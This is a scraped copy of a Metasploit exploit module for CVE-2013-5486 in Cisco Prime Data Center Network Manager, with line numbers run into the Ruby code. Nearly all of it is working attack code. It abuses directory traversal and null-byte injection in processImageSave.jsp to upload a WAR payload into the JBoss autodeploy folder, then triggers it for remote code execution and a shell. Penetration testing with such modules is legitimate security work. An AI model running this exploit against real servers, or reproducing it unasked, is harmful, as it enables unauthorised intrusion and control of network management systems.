Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => 'Cisco Prime Data Center Network Manager Arbitrary File Upload',14'Description' => %q{15This module exploits a code execution flaw in Cisco Data Center Network Manager. The16vulnerability exists in processImageSave.jsp, which can be abused through a directory17traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss18application server feature is used to achieve remote code execution. This module has been19tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R220(64 bits).21},22'Author' =>23[24'rgod <rgod[at]autistici.org>', # Vulnerability discovery25'juan vazquez' # Metasploit module26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2013-5486'],31[ 'OSVDB', '97426' ],32[ 'ZDI', '13-254' ],33[ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm' ]34],35'Privileged' => true,36'Platform' => 'java',37'Arch' => ARCH_JAVA,38'Targets' =>39[40[ 'Cisco DCNM 6.1(2) / Java Universal',41{42'AutoDeployPath' => "../../../../../deploy",43'CleanupPath' => "../../jboss-4.2.2.GA/server/fm/deploy"44}45]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2013-09-18'))4950register_options(51[52OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']),53OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10])54])55end5657def upload_file(location, filename, contents)58res = send_request_cgi(59{60'uri' => normalize_uri(target_uri.path, "cues_utility", "charts", "processImageSave.jsp"),61'method' => 'POST',62'encode_params' => false,63'vars_post' =>64{65"mode" => "save",66"savefile" => "true",67"chartid" => "#{location}/#{filename}%00",68"data" => Rex::Text.uri_encode(Rex::Text.encode_base64(contents))69}70})7172if res and res.code == 200 and res.body.to_s =~ /success/73return true74else75return false76end77end7879def check80version = ""8182res = send_request_cgi({83'url' => target_uri.to_s,84'method' => 'GET'85})8687unless res88vprint_error("Connection timed out")89return Exploit::CheckCode::Unknown90end9192if res.code == 200 and93res.body.to_s =~ /Data Center Network Manager/ and94res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/95version = $196vprint_status("Cisco Primer Data Center Network Manager version #{version} found")97if version =~ /6\.1/98return Exploit::CheckCode::Appears99else100return Exploit::CheckCode::Detected101end102103elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/104return Exploit::CheckCode::Detected105end106107Exploit::CheckCode::Safe108end109110def exploit111attempts = datastore['ATTEMPTS']112fail_with(Failure::BadConfig, "#{peer} - Configure 1 or more ATTEMPTS") unless attempts > 0113114app_base = rand_text_alphanumeric(4+rand(32-4))115116# By default uploads land here: C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\tmp\deploy\tmp3409372432509144123dcm-exp.war\cues_utility\charts117# Auto deploy dir is here C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\deploy118# Sessions pwd is here C:\Program Files\Cisco Systems\dcm\fm\bin119war = payload.encoded_war({ :app_name => app_base }).to_s120war_filename = "#{app_base}.war"121war_location = target['AutoDeployPath']122123print_status("Uploading WAR file #{war_filename}...")124res = upload_file(war_location, war_filename, war)125126if res127register_files_for_cleanup("#{target['CleanupPath']}/#{war_filename}")128else129fail_with(Failure::Unknown, "#{peer} - Failed to upload the WAR payload")130end131132133attempts.times do134select(nil, nil, nil, 2)135136# Now make a request to trigger the newly deployed war137print_status("Attempting to launch payload in deployed WAR...")138res = send_request_cgi(139{140'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)),141'method' => 'GET'142})143# Failure. The request timed out or the server went away.144fail_with(Failure::TimeoutExpired, "#{peer} - The request timed out or the server went away.") if res.nil?145# Success! Triggered the payload, should have a shell incoming146break if res.code == 200147end148end149end150151152